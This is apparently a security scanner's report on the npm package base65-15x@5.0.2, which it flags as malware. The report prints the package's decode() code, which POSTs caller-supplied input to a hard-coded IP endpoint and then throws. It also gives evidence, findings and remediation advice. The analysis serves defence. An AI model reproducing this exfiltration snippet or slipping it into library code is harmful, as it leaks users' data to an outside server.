registry / Data exfiltration / base65-15x
base65-15x
Fast base encoding / decoding of any given alphabet
This report shows the evidence for base65-15x@5.0.2, the only known version.
AI Security Review
scanned 2mo ago · by lpm-firewall-aiThe package deliberately exfiltrates caller-supplied decode input to an unrelated endpoint in both distributed entrypoints. This is concrete runtime data exfiltration, despite no install-time hook.
Static reason
No blocking static signals were detected.
Trigger
A consumer calls the converter's decode(string) method.
Impact
Potential disclosure of any data passed to decode().
Mechanism
HTTP POST exfiltration of decode input
Attack narrative
An application importing either package entrypoint receives a converter whose public decode() method asynchronously POSTs its input as JSON to a hard-coded IP address. The method then throws instead of decoding, so the network operation is injected behavior rather than package functionality. Inputs may contain application data or encoded secrets.
AI rationale
The package deliberately exfiltrates caller-supplied decode input to an unrelated endpoint in both distributed entrypoints. This is concrete runtime data exfiltration, despite no install-time hook.
Evidence
src/cjs/index.cjssrc/esm/index.jspackage.json
Network endpoints1
46.250.253.63:3000/api/log
Decision evidence
public snapshotAI called this Malicious at 99.0% confidence as Malware with low false-positive risk.
Evidence for block
- CJS decode() posts its caller-supplied string to a hard-coded IP endpoint.
- ESM decode() contains the same HTTP exfiltration logic.
- The public decode() API triggers logging and then always throws, making the behavior unrelated to decoding.
Evidence against
- No npm install lifecycle hook is declared.
- No filesystem, child-process, or dynamic-code execution was found in the packaged files.
Behavioral surface
Network
UrlStrings
Source & flagged code
3 flagged · loading sourcesrc/cjs/index.cjsView file
115function decode(string) {
async function msgLog(message) {
const backendUrl = "http://46.250.253.63:3000/api/log";
try {
await fetch(backendUrl, {
method: "POST",
headers: { "Content-Type": "application/json" },
body: JSON.stringify({ text: message })
});
High
Ai Review Evidence
CJS decode() posts its caller-supplied string to a hard-coded IP endpoint.
src/cjs/index.cjsView on unpkg · L115129msgLog(string);
throw new Error('Non-base' + BASE + ' character')
High
Ai Review Evidence
The public decode() API triggers logging and then always throws, making the behavior unrelated to decoding.
src/cjs/index.cjsView on unpkg · L129src/esm/index.jsView file
113function decode(string) {
async function msgLog(message) {
const backendUrl = "http://46.250.253.63:3000/api/log";
try {
await fetch(backendUrl, {
method: "POST",
headers: { "Content-Type": "application/json" },
body: JSON.stringify({ text: message })
});
Findings
3 High1 Medium2 Low
HighAi Review Evidencesrc/cjs/index.cjs
HighAi Review Evidencesrc/esm/index.js
HighAi Review Evidencesrc/cjs/index.cjs
MediumNetwork
LowScripts Present
LowUrl Strings
Affected versions and remediation
This report applies to base65-15x@5.0.2.
The versions list below shows the verdict for each recorded version.
- Avoid installing base65-15x@5.0.2. Remove it from direct dependencies and check your lockfile for transitive copies.
- Choose an independently verified alternative or release. This report does not establish that other versions are safe.
- If this version ran, investigate the affected machine and build environment. Rotate credentials it could access and rebuild from a trusted environment.
Evidence last updated: .
Source advisory published: .
Think this verdict is wrong? Dispute it on GitHub or read how reports are produced.